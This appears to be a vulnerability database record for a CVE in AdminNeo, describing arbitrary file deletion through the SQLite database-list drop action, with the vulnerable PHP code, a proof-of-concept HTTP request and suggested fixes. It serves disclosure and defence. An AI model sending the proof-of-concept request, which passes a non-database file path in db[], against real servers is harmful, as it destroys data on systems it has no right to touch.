{"id":"CVE-2026-96633","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-96633","summary":"AdminNeo SQLite Database-List Drop Arbitrary File Deletion","details":"## Summary\n\nAdminNeo allows an authenticated SQLite-mode user to delete arbitrary files writable by the PHP process through the database-list drop action. The SQLite driver validates file extensions when creating or renaming databases, but the database-list drop path passes submitted `db[]` values directly to `unlink()`.\n\nOriginally reported by @slpoiuewalspoid-dotcom in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-6pg3-chwq-wgqc\n\n## Impact\n\nAn authenticated AdminNeo SQLite user with a valid CSRF token can submit an arbitrary relative file path in the database-list `db[]` field. If the PHP process can delete that path, AdminNeo unlinks it even when the file is not a SQLite database.\n\n## Root Cause\n\nThe database-list page accepts selected database names from the POST body and calls `drop_databases()`:\n\n```php\nif ($_POST[\"db\"]) {\n\tqueries_redirect(substr(ME, 0, -1), lang('Databases have been dropped.'), drop_databases($_POST[\"db\"]));\n}\n```\n\nIn SQLite mode, `drop_databases()` attaches an in-memory database and unlinks each submitted path directly:\n\n```php\nfunction drop_databases($databases): bool\n{\n\tConnection::get()->close(); // to unlock file, doesn't work in PDO on Windows\n\tforeach ($databases as $db) {\n\t\tif (!@unlink($db)) {\n\t\t\tConnection::get()->setError(lang('File exists.'));\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n```\n\nThe same SQLite driver protects create and rename operations with `check_sqlite_name()`, which requires a `.db`, `.sdb`, or `.sqlite` extension:\n\n```php\nfunction check_sqlite_name($name) {\n\t// avoid creating PHP files on unsecured servers\n\t$extensions = \"db|sdb|sqlite\";\n\tif (!preg_match(\"~^[^\\\\0]*\\\\.($extensions)\\$~\", $name)) {\n\t\tConnection::get()->setError(lang('Please use one of the extensions %s.', str_replace(\"|\", \", \", $extensions)));\n\t\treturn false;\n\t}\n\treturn true;\n}\n```\n\nThe drop path does not apply an equivalent extension check or bind the submitted path to a known listed SQLite database.\n\n## POC\n\n### 1. Start a complete AdminNeo application\n\nBuild and start AdminNeo from the audited source using the official standalone Docker image shape. The validation image copies the audited source tree into `/var/www/html` and starts Nginx HTTP server.\n\nLog in through the SQLite entry point using a SQLite database path `poc.sqlite`.\n\n### 2. Prepare a writable target file\n\nPlace a non-database file under a location writable by the AdminNeo PHP process. The validation used:\n\n```\n/var/www/html/poc-delete-target.txt\n```\n\nThe same directory also contained a SQLite database:\n\n```\n/var/www/html/poc.sqlite\n```\n\n### 3. Submit the database-list drop request\n\nUse the authenticated session and live CSRF token, but submit the non-database path as the selected database:\n\n```http\nPOST /?sqlite=&username= HTTP/1.1\nHost: <adminer-host>\nCookie: <authenticated-session>\nContent-Type: application/x-www-form-urlencoded\n\ndb[]=/var/www/html/poc-delete-target.txt&all=&drop=Drop&token=<live-csrf-token>\n```\n\nThe request reaches `drop_databases($_POST[\"db\"]),` and SQLite `drop_databases()` calls `unlink()` on the submitted non-database path.\n\nAfter the request, the `poc-delete-target.txt` was deleted.\n\n## Suggested Fix\n\nApply the same target validation used by SQLite create/rename before deleting database files. At minimum:\n- Reject paths whose basename does not end in `.db`, `.sdb`, or `.sqlite`.\n- Bind `db[]` values to databases returned by AdminNeo's database listing instead of trusting submitted paths.\n- Resolve paths before deletion and reject traversal outside the expected SQLite database directory.\n- Consider requiring the current selected database path for delete operations instead of accepting arbitrary submitted file paths.","published":"2026-10-30T22:52:58Z","modified":"2026-10-30T23:00:04.343164827Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"adminneo-org/adminneo","fixedVersion":"5.5.1"}],"fix":{"url":"https://github.com/adminneo-org/adminneo/commit/26fcef2f32922629751cbea6c0bb593fbf1e957d","label":"adminneo-org/adminneo@26fcef2"},"references":[{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-6vfx-w7q3-42gq"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/commit/26fcef2f32922629751cbea6c0bb593fbf1e957d"},{"type":"PACKAGE","url":"https://github.com/adminneo-org/adminneo"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-30T23:00:04.343164827Z"}}